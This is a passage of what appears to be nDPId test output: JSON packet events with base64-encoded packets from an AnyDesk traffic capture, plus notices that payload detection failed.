failed","thread_id":0,"packet_id":1110,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +03848{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1122,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":664285,"pkt_caplen":2617,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2617,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfBJAAIAGAADAqAG7wKgBstOUG56PIpbmWcQrVFAYIBGExAAAFwMDCf5Z4hNO+msVsUMQI+MlMe4hFYc6zIaNfkUrnbqmd9PeBA+Zv4ERp7DaS9dZol6CY0nuN8lhHjLJF\/zR8kWRpzPKZ4tpNxtscFMlMay6\/5f7eJi+0izBgXEhQb910o\/E5tuDdWLQoU\/8sR2uBSd6gxR1FAHCSZeb81Ka1hecx+xfKeBkbt7IvZSdfeQrAloiS87Li+u9p77NKoL1\/d+rIXtENB74\/0VJ8aNajzErR+ss76BcYqJRH74G5LlFDOqnroruO56Vz9+AjG65+eNG84WrBokejNj7tF\/JYVF+nXNamVFxayjY2iDcXfvZeEkEHbrOky6x10whcPg+UGNDq\/phsL5gTt\/HEAzkeO9WuyfUK8kaoGTNBJ+8QGFF4QkHab3LTG3aOo1iTjAFJlUKuoOmKb75IAvin2e8I1PLItvyM67dcZAr3ZTD5iWiKgo\/v6BPn05OzUYc8Pawdt3FzSk7gX0J19cusSQELdGU4ofZt1Jx4UeFcgX\/4kCsAH7PadpwDGTXBgxY0yKFRaPsJPY263sszdWjRuGi3WBKw34bLYCXW7kJUortSrRrAP8MPXXGfIV6NQ9jvfdxArYPwU4rvJtA9kk4aAyUKIY3mymzAERdL458j2DLPqtuOqCvUDkFPTMQUugy1A1N5SN9rz7iQVWwpBGdka3A3m8LpC3blnt\/VzEP25bV4bvzTfcoqJ5cP5fTAgPSkICH1deZOm0sARm51HwnhOhOk+U3849nUkytvfLy69btpz7t1g9GKh6ukfhxouaINBSLKWRpnV8\/o+V6\/SrV10yA8PhzBoWOMnX2nlKy3wa6RkJh5TFYxRM9ZAoE6EccvCPwqNFId7kyZ7bImcdSo94C9BEP0jC3a1rNxZHQ6me8Wkgg7ORPX2wQasEEQaP6thvMt8XqyuD2uWI2IEWVxFyseS1oKiEqn485\/JL7AwpTrcvAIii7Cz2Ph5noWvgXZJTW4aPLEe\/Ajf4lLu5Mkrt5bTQlRyMUzy9DxT9QyKIDXXOuGjdqsYjOUydDUZ9ghiZ4+c+ro2psqGzySaY1vIBetogczqdHBpQjtOCWKqQwjB9LqcCWb+qW5D7nep\/yusubmcwYhmbaG1bOXAxnhIWPzac\/KiJ\/UjhsuKpV6d3EjgXWNFTJxypvtzu0zu3hQbTcz8oof8zHO0SAooUoqgMdfpVUdtyiCiU\/poDpa5lly2f0a2XTzl9fl00Oyr108q7m8MHU8TJqn\/co22myKfHqOsLbR1PNCoAXKJrleLSanTcTTwoz538gwbKgFPmAlGSrB2NMNmtgjfOPjcv5WyV\/0tfolDMCZuDJxEbCfYPTMx6PaY65wvN+tT89FI5yt8wlBx+H8+Vi12p0Lu+ZW7+QcrKnBWsKB\/q7beQvtgaV2jULRn1GH799Zo+TDo8yzWHYK0gh2+8KonBCWijb+L0ORRaI\/oDs9MFIqBP9bnhUmEKOUJbaVOtUYNXxWBHQxQ0gLLOHABq3Z44LhQOKuAwf20hLxkgKuGuv1oLhtqMLSHHZOple+VQGMm1sOGYzb7hwedTsuU8dwgIZcelmaSu+0V5\/uzwAVCwzYbqYtoWmaTamstSkeYbVoGc8SrD8WeWp3i03mBKAReJAzeEj1A8Q3ujLZm4bCGOpXtUAs3zrETpR76CG5Oxw0\/DhVTIBI\/XxPAkp4Lv8BYhPFQqdsMsr+dOWbuk4ROzjHg+rSRsZEtgtjowKiJcSsY+OqBDyPmkkR5BsSTNG2UI4aq5vLrIMOa6oEIFwYdLhDrbZmTr6CdWwv9BJzUOVrY18gS22vS7DAeKDyGCAprMPzj14d\/rRJEs8p5EUALoSG3ylLRul7MNJ0SezRefI\/8XSs6L\/UN8RTLeeAftKkiH\/3jF9BUG49cjmznM1BETvwNQcwD0xDNJWiBhH2W\/XB84zA6hFwcxgoYCrFs82GYw2CcNdgeGqnnYO+i7GzfrODQK\/nCxc7eZ0x6KuDoPyji6QB7+RZ+i\/JzFVk1IyDH0XLQKzSn3vVV+jLwBNPrh4rt8PO7kAlcVzHvqp6HkiEIxWSx7a3xceyS2z8JCQPvYoU1nV2XnykVNmuscj0MxnsZ8dgN3QRhnmi6skOSWlR3n3t3eUb7V82iVa6JREaRHk1hKgbBZi7xNumDG4UZ73x2CvuQUDzX3H6bE36RxdJs966YWbZjIx5OanIThDfDvAmXgzzyb0781V3eBHUVvszLhLO8YPVJ04cjkF0Qn0rHl+3uprZRpAlpPsC5AQ3ChvEQoosLgcRryqlXitJquSiQOjcX6s7gY6RjKArr0SIrUyYHwICs7A+yyKx\/aPQS34ehou14d2mKBBZ5D\/Qo+qdbPMwtivLZYwkHXQcwrjD3Pe5+Xdb+EBanHC\/CeT7h338y7ZCO8\/QpsaEUJNpEj1b7qTq0WItPc9u4pO\/2PX5tfZ9N+FwFSQaCI5XKwWsiGwERmwjjkvH0KCR5ILAS8H1+RDF\/lLegux0QR9fzLZSsEAqJap84B4y919ynLqT4mfcUwmZvne3+tquf\/euJ4At0TJbunNIagbDOsX0WKvkMZLskqNGa1fAMPL0ra1TF8HQgxL5dXcBTJ6nNF1cwIETzRzUfoN1c6yJOJHFYwxZSIgcEEpK9hnyvV789UBP2yq2J2RJH\/uSa5fy\/CQVEUb3\/rtp02Ka+wbGZAsUUwGF7D+xj6XOirTIjgCOx2hRvCWZazkci4OKdYNbllyG94bGFDrMAQ7GcRioVTb8nQzz1aTsK0bln3mYKm8D4Xf1+8NjEAn91SmugukuaAxUPhFsWE4VGStQwRs0o7wy8qPfmnER9QtLhJ4x3yRm9JkRkMgBrcV9WN25AWCPYlin0dyQtGxYCzr9XVTg6y4vjU1eLkJLwZ7pq\/hOMXQCntUupwwVFg1MSi4caUg1+w2b42ORZ9qwxO5hN6LuC3kUMTffWmhmK40ro3KaS4ebg4TMLYXc5m0Hc8wEAuOR3ozwx3RhF9cfsIEdEuMU0xhOBMDhPYHYWNdg\/AakS\/CxO4upVIMfojjiU\/CSw2Eyh3LekFRgLHUMTKC01kjifGDuW+2VAIU2B\/UdQwjphTN1KcztYVxsl9OvsDW9H9rRsobi3u+PppGj2GVEhzXXW3nNglxDVc4vRPYPmpyPlVrjaEYCM6fjeppwnvA+z7FyOlqmUz3hdrWuGNtCb3SSLQfI46TBvq94+FDwEoS8Tve8BO+PVNAPkV\/v+DDZ+K2L8BkW5QIjsgcm+ISRntHNwBt1Ypq1BeiWKgzZMq3YWNNYSJVlWaP6Vqe62Facnam7nvE+cK3bWOTz5C+h2Idb3j8DnKZl\/oSGT+UwfLPE8PDjGu0cVhGAXss2TMkOnq5vfpaJpp45UwfmuTWaXOUQ7++ubKpfDSw2z2Kw9KjdpBGiQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1122,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2583} +05534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1124,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":664668,"pkt_caplen":3870,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3870,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfBRAAIAGAADAqAG7wKgBstOUG56PIqDpWcQrVFAYIBGExAAAFwMDDuNZ4hNO+msVsgL\/coXfAMmYb5WjcNDSK0Eaan84B7WP6RdRMbswG0tuNkqLOqugfEvChhKf5J5BsGPcRmLsZcJ7KKAc5Ee7quN+qmxnp8RKfyYM6bmATiVI6lJVYNvuvLkCi3lYy9kX6rvLD81VREboLqxPx5R7FENYNP28l9m2QVtlZRS119l0Ypy2uc3L8wrnLVHpkydTn+YX8rlIayNu60hTa3KSx6sA40yjhokJWDhGEq7EulBg\/atr89SubWNVIFB\/Q56hA3gGo9ed4SKMhCNHzjCUaxuQSvuszhUGtWtJAcDKaylu3mblNxusn21ROhvVOwRCHTiQn7CDQt9LLFLH3bw9kQHo\/2YSiBrAp1TBgs6H7v2kGf7n\/jGl0PdwJjsumbijwn4foha5WJiwxIwbXfUiBS\/\/0ahgJJlNgq2UtImC\/odxuawylR4TnTHikmqyn0y385am17m\/7\/T6vcP2CYmu1qscZsumVg1PJwxkDX0K+cjSB4lpLE8qlu1smCOAtutYr8OoBn91LR+6fWPoEebsJJm1599eEcmDUoZjIpygk8QT9TuZXP5CXWC8jd9xI8ogIGNCHdhgFUiVN1pNn8IdEYuWt+XfWpvQMS+DOEp1pbLTGiQmGdYJFmviKDr7JY0KDuK+XDePQvkOoDT16dhpLcybO1Dst4dty4RwxGCCrQhSbunHhjlxch5GNCWB4ts1fyWdBuE3AXya0b73qpC4rdgbvhoUlFZQIfmNL2xspKqKr2VAhwD50tlRJkdZ\/WlL5SCXgDpNhKZhVmYzHKW+IeOdxNA6X0v3B18m2dFzHD4MM3R3D5\/SqEprZWqDZq9be37dcdAm6P+9V6Pa8iEG3J3Z14zRCiVwHoDuNZFX5\/IbbmKXK5f0lAMoxpl0sixyqj+bltUyQ85+vYcCkp9cD8pgbe\/FmZH4jmDA9cpqQIP0AQ6XXRgNO6aWGyiSp87kdYnQzQUH\/C3RTmhIg0UHR2QADrMKm7vb2BGNNkTES6FEicPZckUwKCdxxRAUBmEetDTgybUR0b8bXaSdMFxj\/djl0oHMn4FOwh6yA1hpRpnqzURxP6m53wwclA18qn\/U9HbNW2ZALejhTUtj1lyuqqxWaxo5luSc3f49pCaCCWoQUBQc+NlSurH+\/NMPtI8f6qLANjb0OHXA6FMAayHM\/XWGVTLISdAWFMY\/2AM2FIAUSXiy+cUz5am2nrVzLpX8u+C0o077Zi\/1Zm5tTnBT1F5aIhaX098GSZePg4MFWVYWsljBNfwk09XAgjzkaiIOflTzv+BUoNbMyYrf65FBkeObx7j8dQMRE5XGM2TjrJlAV5Ur0Je96Oms8G9yu5nx+xo3AasAxneen\/mqZct8z21GFxYvtm6NJp9QCKJiuE0lSUMlfuKj6qs1F6IV9Rx4+CJJ0dIZyLLgHBis1eNbTno0gh+gfi1jTEax6nbd6NwCn4LIzzhhqhjzuJadQUl8P1sb2hmXVxsv6XBMSHTDFhPwBWZ\/nl8Zad3cWMTjbp3QztlWDkGhwBvDOGVWz35nKRxF2PDVPVP805wnerslxNAuRXser2DFvCjYGhv9a8kCJk3WL35g8UMZ7WOmPp5Z2C4Ihhq2GsVMpD5++a0EwG9pZv20e+0nZqY\/crUdVq2+S47p0aDzC1oHgBGzQMJBlGA\/4c6U\/NQO+Fgk3VcAYECls18Dcru2m5WLpSpBOcg\/GdkWEhgbGLBa+iZM7VXcZIdYHwHTu+ig9ZYNw8XTXhdHH5rDl2+fUqfCivLvl6\/MevHSs3CqE201HhBgQ6szXDxEobpdjGm1DXuKxm9V2vVUnhub6txc1XXRFfVVOlh9svqmuNEZwWqUsG36WwooDqPIlUPo9GIYFqES369jR6wMiZvUZnf7qHGgst\/zgbve2sS9JH2aLNy7vDyyq+u2Eu1hnGiFupvCMo1+MI1ReBIXg00Fy3VWB8UWzPeGanNdrn+etm6HwXK8Xu6t7CnZQRFkU\/cZpEjMt6\/5ODKa\/EMzM1WZ4hriRH4ASyKXnDlmYEOcXMWZK14MisDtBd0JOsvk1lhNI66ujoNHU1NSS0r1TH6mgyuub1zC0En8d3+j+cNCsgF6TTY+CAPbPyYzRyetUtUrN94b\/E1ZUm69SELfbwqhBak61Jf0GWiDdYF0ivzBnj2ryqT6xd7iIf6kgLosqjv5vpFMID8a\/fS+JeR15mMm6HBs3psMpVTccifH0bF+AWnKH1W6\/4NQqG4+1O3gV4D8Vam\/I3N0VUCnMlplunNDVN2KAljWL06kCzR+lrO9jWLqpV\/UD54OKGdgU1WvRXjgUUoujzklIPxJvyjnpzKh3a1mI01Kn3Gpu2sKG5bKtia5eb+4vwZVHzwXPNNrQdw63N+3pcpas1yvuw\/DFpA+PKfPdwbMZRZ8hxbsDUfvD+CJpcnXt6Oi331eYQCBSexAyK5952551eJNd5Uaiz1acC2mSdZayDCDjlxuYmePCchjd\/t3umu\/5rXW7nyUbSQVBDPBfhWenbhQzBM2diVc8OUj0sPlavysg7eWy3Mow3rLAVpXIoCzhYqzGAgLl5F5qkumKSrvsGdosfB5YJJJFi6M9D3b73ePccC\/71ZcAIJWxkmAMqFYkTB6zrYDNbVon26VLRWlY+Zo\/X9XVKEc5pjYwGL087QEe6Ow7mqN7+5YL4ai3dD06TDC5Iy6oG2aWsWCHBJ6au4hU5k2mcmOs3LBP9CPeQYXau6Zc2lUNkgHmfyEUutZhKX+p62uMW31dcYi+g4KI409GLjiR+UEHulmsA7O8SpgGLfERpno1Hh7mt2P+nyNeJXGcK\/Fb9HVCaa28X4COwKTAVLtJlbXWjWhErcybtkf4qm21UNqcBtQZDB73FWKVJIlL397KNj30f49Ll26y0n3N+QfS4jVb5BbcT4j210T5YgFFT1x\/vLwZfbzwVsGfpSs1wwgsnDtcocmC5yf5+PwD85l2uqcP6N6a4UlYTJdtVQnJD7FGhl1t8jFblETYd3bTKFxFhWxQbMhU02BO8mP0v7rQ9LxY5iRcusHPenZoPfeFSbEDUqfbIGwphf+fF2k8mD7cD0\/6W0lMkCkebKkxYzbIEjp4T5Hiw2wfc39NvuuvwTKA7PWWoKzX\/mqg11MstKLSw6UIG32DFLJqob0XQ51xyAwc\/O7ZN6eNNwZ1tDj9cnUBRoDIf6v1yrxNK06gvPNWIjIG2J3Gp+OfJFBW+sVL2UF7Zl9RQHm7DIU11tmkaZG8vXjGY7ThBtJOoDRy11vnR\/CbgkkVGVaLSDc7HDTbWz9UzINs2wpBnzNCvYsylFIWYIo5pG23uGqbUbjUsFHST8+fL\/nJH08i2f7t3Rvw53woqwXkRwSsWhmL9afLUXes8a25DVZVYykwAch7zsBp9N1dPeAOh1Bb0BMZG\/dS3Bjbn3wLjnV3iCcbTDXSUnidmyRQHgHEo29cJMRV53uayMAeAkD4fdwqaDMSmETUToIzZL0jsFNlb2xFWNUvulLVBvEh32\/W3WtR\/Uy20qbVS4HY1MJj3TD14kuXEEawm9Wq1m1uSp3VrkCo\/fFhBIJVtd\/wNAVK8loq92ZGwQ0k72RWuw2daScRoW4manbAQqChD2lCouN5tTKQJQ0ZL5cdfGcWU1yoRgLkjW69kqd68U9rTmbkawUiMXClLrkYectb47Zaf8LuZ+h5fThQgw+RgD\/jXR1BgZFIG5KZ8U\/n6jMwKugALrz69NPEVItIW0Z5zwRe3Kght0HkLLVlOiH74fat28uJ7U4zZiwC3VB61z1OZhY3fViPYVIhGcgzmC4N2BwrGdmOvlouV1kKPilxMcI9HDaZeYKepcf4pZDeoKGQOAMUHhjFBw0yM7oXJCPXa\/KKpMwL0KCrTpEgJdqN9eWIf7eHpVMu7H0+Ue41SijYrJ57bMIy65rtUAiaxOmLSy7yJUN+mpj0yYMiUomxUNuKYVB2vfThuEJAkr+uvv1gGBVxfe03k6XxXec80ZHTaBXeD9W6piezAYymnzLF6YBgVGAyEyWQAaNHO8hOXmaYgtJ661sgtNCDjbhdRRxhS34aW3f65DkSel7XD79a5uEuWi6M0We16qnUcLsTTPOYR0cbF09vmUTUEcGxTZfyVrFYifElbDstYR94\/juKwT6dxU\/12VOgO1oTTGi1xC3oY8MUzLR7sSvDIK5SDdJjwSjTh1B0bGPYzvSxWxgYC279C2iOcWS5AGpUGRK0RLqhsyteNWLfOXWdnx5K8Ge72ALOZIF8iHkuXTV\/kRWIIdEyLdFgdDxsT4qTo3\/K5AkksNDhjf0xN1gHYAXKgDl8wF2PG37EBatHSQgNWCYVoDFDGtriwjwhD7mR9y+yI8kn0nC+QhVwpdQeH766Y3uyk+OfRA\/Xk7J5Dkr2zkYU1wK\/mrAkCJBeRh2tX8JqT9zLdmJIreAfSd5UzTbs+RL+1CDG9jeS3st2qGfuZIbDIzVrPxuQUT\/u6NMqWfuQ5lF+906NgVN0DL7r3kbc7icu9d1eitVFcLcbtoW47U4CBn656obUN7JoyBPnkuFUrk6VEZIaMGx+q37QGmYmMSUBnCTQ9XY6dfFo0sV3jucnT6oumle4uGGcP5p6FKidxmO2BiiE0Dv1P5KUbOkg0EXgjEUE8OwH9zXRN9ctngdjTXKRNngzF1LU8cnxZu8JLp21HSoHNtDVL4Zu25lLgcRB0o1OraFoWUrM2pMikEVk4SC8zsSJuPIRercW+bmD+7HQ4sg0jI+1A6XE5sCYyCp5KUn4QYiKOOznYqlhtQFvNNCxD34K5rEEUpgSiwCjtpsNXKLuRRdqEuVAWG1VT+\/NxJ9ZIdeY7oltdclMJeFXJkvbjAzoygJmvPZcM2cfe91rqrKylevedp1eFdFFTww5o5OIazpV0t415z7Df6roWRdpMOC7LqA65FTqwJQTaTGhqgTRbxb+wPokBPRRfhC9iUufJDbVg0ZE\/Mdg4e3OKyBdwHsIS8mBowLrNit\/4sTfkMiBQfL2buF27EhvQExbUHbtpEGtpe2pa6hMJnfH1Dgu4LKAd\/mcsCDuGeHZBf3aYM5\/YqM"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1124,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3836} +03684{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1130,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":692982,"pkt_caplen":2505,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2505,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfBhAAIAGAADAqAG7wKgBstOUG56PIrToWcQrg1AYIBGExAAAFwMDCY5Z4hNO+msVtMeGlIki+2xrZeuhEndL572RkUBpuYNpV7mzbZUmJ6o8UAdg0tSKxnO6icF9ptd1AY0E7Ev3L6KJsesLhdfa1fLKHoNPz\/7j0Gh\/k6rsPPO+sUT\/CsodUPIt8wcd7A9eNRxZEd4w7mVQjC1GOPy8CuP+xEpMgUQhIjWiYibtP3bOBCOB5oPG30yuAltRiDqeTNm6oBf\/C6R\/V2yhIezUEk0zOonYEU1pMSFPa2Yh6FNySGg4O2E+k9SnjOOnOXbxwDz0WaU5q6BR1HoKmOwQI18HMqeuJFBXmZCxofn4uqoxlOdlpmNuo9akLb2ed7MHlpAYmXathH8IoI9QCFhi46XU5FjdsfZqvexVa9R5PTTURQeCejFZMDbc41\/NnXEe68oc03PwXwtr3\/EL8XdqeigeoxbC8bfUVegXUwHK8HFzZz9jGOMTp\/JxEXPNjPr6gnBwcfopoF0ihbPI587r+YiRwLmdBgxOAmhSpMwVGB1xi9yXy5NtD7JGrHXiQ0UAq0Fbw6MXg1AnqkNmOC724E0gJVclBbRoGLacBujxI01KzvUcVRJsV2EY29vyoOMnCxdabEYQGZ3Uz7VWWRuWm7qTE8nVaah+Bs+Lt2v18RUC5SrAAszc3AeStkIr0tMRbFnHalFr0GNEs61EuVwBocDUHKeM1NKDqEm5crm9o7BnZRtrsfVqGyyO00rz4j213Y\/IZalmj5yFBybeBKcnRkkheRM3AYsllU9K3wl6feJl9dDIDMSQFzjpDnXos1Sj+y4u29I7MwsvEhSHOkPyRpmE\/CTvxsxm+D+nAcb+zE2AkYvh4jLwxbPbaQzJy5Qy2P8N4us5jca7YN0C8DQSw4ekY1D7+SucdBg3xxLQtSx+SYLxDOWNC\/rzMcWkH59qPm4rEEUTzbiNaszkxoaYJ2s8m2RCOZIFoWBrYllyxGgd3qO74O1XEPBpXOWtOQFRrSCt0Mkwbsznzspp7bQ\/FkzZ79COCvYO7phx3uT8PVKHSgdws7Thgzo9Jz8xtSW1j580HVGKd+4o3Ujsa8kp3wx\/LW+i3MgyUYXu+NSDErLsRkqetjnvSL7vVSrUJQGVqjyyLN+\/gn3x5aCTOZ97MEBjMzn\/aYOv94S4oQvvtLwR+D+JRaOi20628iFi6XmT9qfwRsiSKDhzS3S9FiGesa2mgrgXDhASxCVqxUE7iOrI2sa1znSUFHnrwKANn6G7ycp9SkWDjYZEH+AoAqgwjXq6LQFBmKOHL9odCFwGVgWZSgzkymc8AeS+2GtSyEuzih65E0TenA4pdhy1GPhnIwG8EZI1NY5BVEqmm094h\/dRBTFDg3ZTzok+gH6yLHUncOxq6OlBnMhf\/tzggNeSy18f73APHajvi9FVSRoiCzqtMjHm+mNfdgoZmetFo0JEz67kArrN+\/hHZPsMOVAFCFBxBmYypwD3iDBHJA0qcqS7r0B6iy1HUiFoUIpou4z45GmUih2IMpGJjni5JSGAL5ODzFhOzbwV1kivLUSZ7uNkqcp1uEQaKn1jCDaGnX9mdMJEIggca20hqsv2TMDkiHyaNW2WpnfOWjb8K6fbSMEy9V33VDduPGZoTy6Axv6KU+zoT2LobOKaIpEbKhx8x4XjfBVsHwX\/XCDomu78i4AbVLGuaj7RWffGZAHa91Azo4TWJrkDz5nEVBRnuNpHVN9WZbp6Gi8+AyH7mv7V9bzCfTAQ3V\/gkvb2SvdzS4sLUZxfuwkH+QFW+mHFGVsrRXAMjX28OPRwv4vUbUfT2Q5+MqFB\/682R0dLp+k+z55j5HeU6sbaj4In35lGZRGPFzo9K+gn6wHe2ruMJXnKbJ+VpV5mWnU1nfw416PBaw4coYCVIodOOUjYSA69wEfOCzQo+L1Kdrj4KaK+a87FsZEAJKIsNmCBnQLwqP94Hzy3wgm18jooLUwHmv8OJCqV1URLZi0+WFQJ4DMxVYaNoYDEn7YKCv5vHNc7sXLSoOA6Utt6GV7xGG92sxPi3jla9QZjpGncrHpy5\/Fn8lghKMC75WTIIU7j1XCCOa+Z2FXOlm\/KONoJtDT9S1E3pbEmJAWl2mTNeMu+cwdp4Fgw4luu2OLXP0D3A\/BxUvzwoP7Yvc7JlJ6nfMGkHxbF5\/rENMFtwhVEQUHr+JpJ5HFfS4mvXUTtIwa0gKyGPeSPIz6X4b5wvVA1PEddrZBMtoFx1TgSKENOZBKriTpfJdQUs9jYVhMpEKPmktYypSpVX\/sTjX+agLqdTnq0tdPRa6K2WKWCP8fPcRnagjXbPvKnS3qwbOT8POfN7Ohba8txgSri33EnUZ8UHBoVcuEOwpeK8HjZnY3oxqXQtcse7N33zeZsvMmOLF\/iOQi2nRAZ+bRDCRlmInX4ujbUA8d02b5IxfxjXYTyoTjT309cfnBmtOj3+hnuvlUIccvjO5AP9l+cjcbPq8Py3T5bWejMqQ4pivBn9yOyQQVYsLXofbWtmhXdiJ3OD5QHqK3snYjD31BAp7XgyxKZYIdvCrvmkqW56vuKddlnOWu5h3n8LyGa8uP61Xt8AWOORJgPH+OyrF3w9yl0jxmw\/DyoXcbuys91id9Y2EJkTAobxmnV6m+cVGRaYMtCkSzkJk9EplLWWl0wztX693klmkPcqkM9DS4\/HIg4m5oUOdjFPr4P\/5WPhL5kyeMC7QyUzkoZYGSaR3sVUOvo\/zQWqBFOW8YMJ78Z51u+s1nz1zuAhqDGFLJFs4Sj47Qfk5Aynr0i4fVl7s1fT7nkggi0pytrRvAdr9ErROo3UMa\/iXHjwUa77O5yEsVHyMVJiMNTrUQLZ8Ms\/tDIUUoDyMLIhSDWkUVHEHm\/7jBy5bBQbyoW\/c144D1vJcgpasOoI1zijXFQ6pcDhr41e6dgsxsYkyWr\/IjjbKDvtPIPeBBz0AQQm7G+eeyNXW131bK\/Tg4OORGVEfvjl8D9ATFsY9NuXxVE59zw74TOxq2Pq0ub5PtZa24RrnNtp978N2xPfeduaJwbClukff66Z5ImN69XJnqhzRv8BlynGVY18asqurRj5nyuaVH5YJ4DcyfeTIjedN1HWeh7PIFdTEP12Q6ARbo6LZGwi6J7ZEdw9dsC97LAW6ZHsjomzt4E1kI9xLdKtF+iOSo2TyikG2h6ZDgJQ0v9gtvAjMjpQnRmJCyRS+DXVrVCRR5HpvId6Cmez4zgLzhkZlpjmsNa62r1\/onSwJ07U\/mggbzHpClc+yOVg3yWBtAcUWJeGmRD2XjiPNqN"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1130,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2471} +05789{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1131,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":693201,"pkt_caplen":4062,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4062,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfBpAAIAGAADAqAG7wKgBstOUG56PIr57WcQrg1AYIBGExAAAFwMDD6NZ4hNO+msVtRd9KXVzfjM+gfyVaLcqAol+bpvw2Yde6XKHZqYuglYt6juwpqsxeT0RDcYzzQ3xaA37FqiYCiUM4r4xlWmIMyKDu7oVVoTpwbsgONV0PQsZi20xFoT7V2xZgbBG4X9yPLRFuMcp6OELQil6YyfctFywCsgaO5G+lT9TaEmrGQcDC6EJNW19H2ldT3RYz3WJlwScXdPaE01gj6ZyXvXq2dtuleE3NsxSDb\/LJEO7sBPa\/MzTT1JEZcejB\/AUEEwe+icvv4pDvuQF3oJxbuOxh\/T0XSz6yrEo8M5X9CGGgy+GYbgBL8iNKXxvRg6wkyj4bG6KUoOHxY6KCrtChGF8gVfF\/eXo842Pqd0dS9ZoL2gtyfmPfuHg5zdYVCFPIxaN6kqDRvSNgbb8xXTae74jHSEYY51h9O3AY6nlBxtUkm7SNFoaeBFRQWKQ3vB41s6E5TQx\/9GGCFAQFtY2yklyjh+6VlK7zvPhEhKZYHBZKwa2k+fJ1UW9dtrJPBfHaWCiw5nHOiqKY0\/bsOtCWxklniOdOU6Ik0MFTlH5+ksiE6EjqQloXQLPpZ8566ARiqQYFLMgEDTxjESziBUaYs6mFwtOJWFLyViknSbQNStFVNJv4CCE4WzzOWONC3Bf1Uuy4HFVPgsoRvyl22vUE8R2jNw9UWl4xxqO5ZPcjQwf3i5vzyo1jiSc0vNlyB2MbzBiQ9QMkg6AYg5R19Swf4NL4TT9\/cY22Rmn0FWAvxFGO1cG605b98vyt3m1Vp7lWs0WzrnEmE\/jXAJbdrB9jW5C6sidlI3Bzpa0A6UzSScGN2IPgLJezTzRWYnmvjbkJjOOuz2hPBfnKOQ9jv8TLIIOXG2HRJGGkhvVPUhWv0B5lINRAH7oclzjBgwtbH5bYRhqMp2VrD0MAUnugVvepiH4I2S4EEeA\/dGIqNoAOb5oVmDVRajHLJHfjYSlFhIsU7eA3DGv5j2kLd6MAU1kADkOdx42n0lF6mDLMZcSuqIJ5+5jGtk9hgfgNq5OOIyWMpKlodSbGic3g4n2zkC50fCI+DeHydTEBwiQcdAJDfmoDq3yEBSJ5KQBjxtEw3L+tZm5zm5qup27WCDCxxeT0HwWTV3QsVCrPuv+XuKeX3B86og9VG3FLIjJU6BEGEkJd\/5EppF+5rVnKeSXWuZRiE9QK74xQY9nIUQY8Yi1t2cAw2kRuVWvkMa\/XIKbVUs3Tts3+IGcxZRAJp02jpygxb7\/KaBIItLr7YxaY7rSy1WErqLoH\/QQQMH+zpZuyTVIoJCZ1VknAnHl5A+Hsubk9HVQB+2nFEo0bveONCSQ077WZBPjKqBcg1vmjMrJ99Qw+YF7jA3flUzgaYCukkN+rTFRUTNzDFlAaaVOpQWtJB1sE90mmhSUr8Up9FZ0G\/WQkSgm6FjdRwe8szfTUK\/36tDGLAMHETLSHSKAGmY8E7Dovr1Poy6\/GqtiiXuPVm2qjtWBUpyqUWMWH8PufhFpPr7RS\/GrUc\/qSAHhX7Yx7Sit4pbxYe6O7itqniCTgfTY5u0kVtfp1QRai6xL5GKObJqBpglDABXKX47G2Ddfk06sdzrAToURm2jOkbYwilmqC1YVGXljMfDjDXryiEV\/UU3CL3u2dm\/c6mzuoG4ntpCy1OpZg2LOQOGFPqDrR5J1LNix0nPfrwC1dfdpGoALC44vfJjeOtc\/uLsnvlhaM1N75+kguCJ8JuEDz4tE90e+ncDc86MnHoIUj+hMPiJ4yBpxNlHWneeD7IpNJcjn+75K4yGBskowKmSwveMR8ROi+zbw6WQ1ZPPdHsW1pukgYh1qP8yHUyFL7G+dNpeE6IINcht3yy+r\/xpM+IQ+NpPRVB+XDSakdtnJtSrX8tacd1K\/giHxwYMBjoQkmg1TUT3sx\/niCwdeWiOc1oX0ArUAfa5HWfYzTd\/yD1MusjYGtHslm2HD9apSCGxMY4RpNFhnc55H5j0iPDc3A5aVddAZLP3XyTxyiwE04Cov2hnzQgqBoIqRXiTn9IAD632RPQq17ga542okYXonMcTa\/BD8ECkOUFa0R8p\/BtYbBWoma0XlRiCtk9zt9XiUZNl7v3Rizdi9iFFBY6afQFxJmJKfHW8\/gadt1aJFyObxohXn5aKB9810\/iqpEj3ca4Crzxo81UhIJme+4dC43kI2JBx5CwCDIchAiUQWvm5ciFux8Hfbsz5SZp7v8RLAVCya9UiXsNky\/xpMBx6sa3WMnI5GKXX8C3xs2OKUkepxOLfG73SersRyqOE8iTUUrMrD7K9gNzwTO9Clu8wp6plEgUO4pF8Vkr1iM9gU1jthqotRB3IDyeT8sDMNM9uIy+wjYVqurx1O8ymz80oRUF59ahM49CxuZ7ZIFe545bVMO06SaVFNLGLIPF2XOMLFzCCttss3sIZiueNaq8+